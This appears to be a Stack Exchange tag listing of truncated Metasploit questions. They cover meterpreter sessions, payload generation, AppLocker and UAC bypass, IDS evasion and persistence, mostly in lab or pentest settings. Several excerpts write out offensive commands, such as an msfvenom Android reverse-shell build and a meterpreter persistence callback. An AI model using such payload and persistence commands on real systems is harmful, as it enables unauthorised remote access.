Metasploit is an open source exploitation framework that acts as a tool for developing and executing exploit code against a remote target machine

learn more… | top users | synonyms

0
votes
1answer
18 views

Applocker Execution Prevention Bypass - Session parameter

I am still new to Metasploit and I am trying to explore the following module: 1- Module Name: exploit/windows/local/applocker_bypass I did: 1- use exploit/windows/local/applocker_bypass 2- set ...
0
votes
1answer
43 views

Remote File Include - commands running on attack box?

I think I am losing my marbles. I am doing a practice lab, and the machine has a server hosting a site with a RFI vulnerability. I host a malicious php file in my /var/www/html and start the apache2 ...
-1
votes
0answers
37 views

Could you reccomend me a book about Metasploit Framework? [on hold]

I am doing some pen testing and recently encountred Metasploit Framework. I would like to try it or better learn to use it, but wasnt able to find any good book. I found few but they were like 10 ...
0
votes
0answers
55 views

Browser Autopwn2 Unable to exploit Firefox 47.0.1

Virtual Appliance: VMWare Workstation 12 Player Local VM: Kali Linux 2 Remote (Victim) VM: Windows XP Browsers on Remote VM: Firefox 47.0.1, IE 6 This article explains Browser Autopwn2 exploit. I ...
1
vote
1answer
62 views

How to Edit Malicious Webpage in BindTCP

I'm studying Ethical Hacking, using BindTCP on Metasploit, Kali Linux. This video shows the steps, and I successfully exploited an unpatched Windows XP running a vulnerable IE 6 (on my personal ...
0
votes
1answer
29 views

Metasploit INFILENAME

I am learning *MSF on Kali but I ran into a problem. I am trying a simple adobe_pdf_embedded_exe and when I set INFILENAME to something simple such as nutrition.pdf it cannot find the file, so ...
1
vote
2answers
90 views

What is Shikata Ga Nai

I came across this payload named "Shikata Ga Nai" (in Japanese it means nothing can be done about it). Some exe file was generated and when it is executed, a reverse shell can be obtained. But this ...
0
votes
1answer
34 views

metasploit+openvas error

switched to openvas a couple days, is open and does the job.. so far so good, but I hit a wall.. with metasploit I load the module, I log in, fine.. but when I run some tasks I get some errors.. I ...
0
votes
0answers
31 views

Snort rules fo detecting meterpreter sessions

I am learning configuring snort in my setup consisting of an attacker(linux), a victim(android smartphone) and 1 detection system. So far, i have been able to log all the packets between the attacker ...
0
votes
1answer
40 views

Metasploit Ruby Scripting: Problem with framework.db.creds

I am trying to access the credentials I have gathered so far with Metasploit in a Ruby-Resource script. Unfortunately I get the following error when I try to access framework.db.creds. >> ...
0
votes
1answer
52 views

Setoolkit - credential harvester, only display the first character of the password

I'm launching a spear phishing campaign and my client has specifically asked me to only harvest the first character of the password, is there a way to do so? Basically instead of showing the whole ...
0
votes
2answers
86 views

How to use standalone meterpreter exe with a USB key connected to an unlocked victim session

When I need to make a POC about why it is dangerous to let the session unlocked, I used to put a mimikatz on an USB key and get the logon credentials in clear text. But sometimes the client has no ...
0
votes
1answer
19 views

Metasploitable: Change/Location of login page file?

I have been messing around with Metasploitable 2 and changed the default login credentials. The login page looks like this: I want to change where it says "Login with msfadmin/msfadmin to get ...
3
votes
0answers
61 views

How can an executable be this small in file size? [migrated]

I've been generating payloads on Metasploit and I've been experimenting with the different templetes and one of the templates you can have your payload as is exe-small. The type of payload I've been ...
0
votes
0answers
41 views

Settings for evading IDS by Metasploit

I like to test the evading options of Metasploit. It offers two insertion techniques: TCP::max_send_size Maximum tcp segment size. (0 = disable) TCP::send_delay Delays inserted before every ...
0
votes
0answers
33 views

Metasploit | Armitage Teamserver random meterpreter listeners starting

I setup a new teamserver using Armitage|Postgress|MSF, to have more than 1 tester work on the same project. ./teamserver <ip-add> <password> ...every time I start the reverse handler ...
-1
votes
2answers
134 views

Trouble with Metasploit framework (kali linux) [ms08_067_netapi]

I'm new to kali linux and just penetration testing in general. I'm having a bit of trouble with the metasploit framework in getting into my own pc. I've used this tutorial and I get an error that says ...
1
vote
1answer
47 views

Unable to PSEXEC into machine with admin hash

I'm doing a penetration test at the moment, and I am trying to PSEXEC into a machine for which I have the local administrator hash. I am attempting this with metasploit and metasploits psexec module. ...
1
vote
0answers
32 views

web view addjavascriptinterface exploit

I have been banging my head around this for almost 56 hours now (+/- a few that I took out to have a couple of naps and RedBulls) and have not been able to get anywhere with it so far. I am trying ...
0
votes
0answers
93 views

Possible to detect Metasploit trojan installation on Windows 10?

I'm concerned my Win 10 installation may be infected with one of Metasploit's trojan variants. How could I go about confirming or disproving this suspicion? Are there ways to detect Metasploit hacks?
2
votes
1answer
72 views

Is it possible to encode a Flash exploit with msfencode?

I am using a Flash exploit from metasploit, exploit/multi/browser/adobe_flash_hacking_team_uaf. The Cisco FirePOWER services notice these signatures and drop the packets. I was wondering about the ...
1
vote
3answers
64 views

Powershell scripts inside meterpreter sessions

I have aquestion i tried to answer myself without much success. I love all the powershell script provided for post exploitation purposes -> Powersploit; Nishang etc... My only problem is that i can't ...
0
votes
0answers
45 views

Metasploit unable to check, create session

I have a target Windows NT and using PHP Version 5.2.17. I'm able to exploit the vuln using the following stand alone script https://www.exploit-db.com/exploits/18836/. However I am unable to use ...
1
vote
0answers
64 views

Bypass UAC without meterpreter session?

I have a research project about "Malvertising". I try to show an attack by using metasploit and I am using a Flash Plugin to hack the victim (exploit/multi/browser/adobe_flash_hacking_team_uaf) This ...
0
votes
1answer
52 views

ImageMagick < 6.9.3-9 - Multiple Vulnerabilities question [closed]

Do you know any contain management system or other applications that are affected by the recent ImageMagick exploits? (I have already played with convert tool which is offered on Linux)
1
vote
2answers
52 views

Is it possible to execute metasploit exploits from Meterpreter?

I have an attack scenario, first I send a malicious pdf to my victim, then I have a reverse tcp shell (Meterpreter session) on his computer then I want to exploit a samba server (which is already ...
0
votes
0answers
47 views

Attaching orphaned/stageless session meterpreter

I have problems with meterpreter reverse_https. In my engagement, I saw this message in console; "Attaching orphaned/stageless session meterpreter" But after I lose connection, and victim connects ...
1
vote
0answers
47 views

Error Running command shell :TimeoutError Operation Time out

I am Testing a Payload linux/x86/meterpreter/reverse_tcp in my Test Linux network to Exploit, I got a Meterpreter Session by Metasploit using it, I tried several commands like getuid, cat and all ...
0
votes
0answers
15 views

meterpreter/reverse_tcp handler other then metasploit's handler [duplicate]

Actually i am getting the error on metasploit handler "Connection reset by peer ssl_accept". On investigation, I came to know that I was running my powershell payload using powershell.exe (32 bit ...
3
votes
1answer
91 views

using netcat as a handler for windows/meterpreter/reverse_tcp payload

How we can use netcat as a handler for windows/meterpreter/reverse_tcp payload. I am getting the connection but unable to run any command.
0
votes
0answers
51 views

How to create meterpreter session with multi/handler for WAN without LPORT, over VPN?

Actually, my router's WAN IP address is private so i cannot port forward. Is there any way to create metasploit's meterpreter session without specifying LPORT using VPN (i have hotspot shield ) or ...
3
votes
1answer
99 views

Metasploit & openvas error (openvas_connect)

I'm using Kali 4.3.0 and trying to run openVAS plugin into the Metasploit. OpenVAS (version 8.0) works properly on port 9392, metasploit is ok too. This is log of error: msf > openvas_connect ...
0
votes
0answers
27 views

Cannot find/create zombie/idle VM

I'm trying to do a "stealthy" net scan using metasploit. The first step is to spoof the ip of a "zombie/iddle" machine in order to not give your own Ip. I try to find a zombie machine on a virtualized ...
1
vote
1answer
72 views

using psexec_command to trigger veil payload

I have been following various tutorials in an attempt to get a meterpreter session on a lab VM, but I am having some problems triggering the payload. I created the payload using veil (setup1.exe). I ...
0
votes
2answers
252 views

Kali Linux/Metasploit in VirtualBox - Issue with ports

I've been attempting to get port 4444 to open these past couple of days. I finally figured I'd try to get it working on my Windows machine first and I finally got it. Now, no matter what I do in the ...
1
vote
0answers
77 views

Android not connected to kali linux with meterpreter in metasploit

I keep running into an error. I create an apk: msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 R > test.apk In the console, I configure the multi/handler: set PAYLOAD ...
0
votes
0answers
51 views

Targeting a specific machine and known setup with Armitage / Metasploit?

Most introductions to armitage / metasploit start with searching for potential targets. But if you want to pen test your own setup then it probably makes more sense to target the specific machine and ...
-1
votes
1answer
62 views

Does it make sense to restrict the usage of Metasploit in Penetration testing exams ? [closed]

In some PT exams (mainly Offensive Security's) they restrict the usage of Metasploit or any automated attacking tool and allow only for manually written\compiled codes from public exploit sites such ...
0
votes
0answers
51 views

idevicerestore installation trouble

Can anyone help me figure out what im doing wrong to install this software? ``` root@kali:~/libimobiledevice# sudo apt-get install libusbmuxd-dev libplist-dev libplist++ Reading package lists... Done ...
1
vote
2answers
117 views

armitage find attack tool cli equivalent command

Ive been using metasploit through the cli and a little through armitage. The tool in armitage to find attacks that gives you attacks that are more likely to work is quite useful, so i was wondering ...
3
votes
1answer
133 views

How does metasploit persistence work?

When we remote exploit a target with meterpreter, we can use the command run persistence -U -i 10 -p 12345 -r 192.168.1.1 to make a persistent program that will try to connect to the machine which IP ...
2
votes
3answers
330 views

Install a vulnerable service for Windows 7

I have some kind of a project or demonstration, where I have to exploit Windows 7 to get a remote shell. I did a vulnerability scan with nessus on my Windows 7 machine, but I didn't find any kind of ...
2
votes
2answers
517 views

Meterpreter session over VPN

I have the following situation: Attacker machine connected to a router with public IP assigned from ISP, forwarding enabled. Victim machine connected to another router, (obviously) different IP ...
1
vote
1answer
82 views

Writing payload into android device listening for adb debug messages

On msfconsole, if I type info exploit/android/adb/adb_server_exec I got on description part the following: Writes and spawns a native payload on an android device that is listening for adb ...
1
vote
0answers
34 views

metasploit search command to fetch one AND another word

Is there a way to use metasploit console to search for 2 words exclusively? For example: search X and Y //I don't know if the syntax is this, of course In a way that will only return exploits that ...
1
vote
1answer
777 views

Kali Linux metasploit and android attack by PAYLOAD

In kali linux 2.0, when I run exploit in msfconsole and the victim opens my payload, how can I force the session to be persistent?
4
votes
1answer
90 views

Armitage check exploit

I am with all fairness not the most experienced penetration tester, I am doing an industry placement where I can improve my skills. I am using Armitage in Kali Linux to check for vulnerabilities in ...
2
votes
0answers
61 views

Rogue Containment on a wired network (mostly)

I work as a security analyst for a large company. The answer must provide remote support. We are currently looking to build a piece of software (integrating existing products with home grown ...
2
votes
1answer
203 views

Can't get into Damn Vulnerable Web App with Hydra even though correct password is supplied

I've got VMware Workstation. I'm running Metasploitable2 and Damn Vulnerable Web App. I'm trying to attack it using Hydra in kali Linux. To save time I made a very small password list and included the ...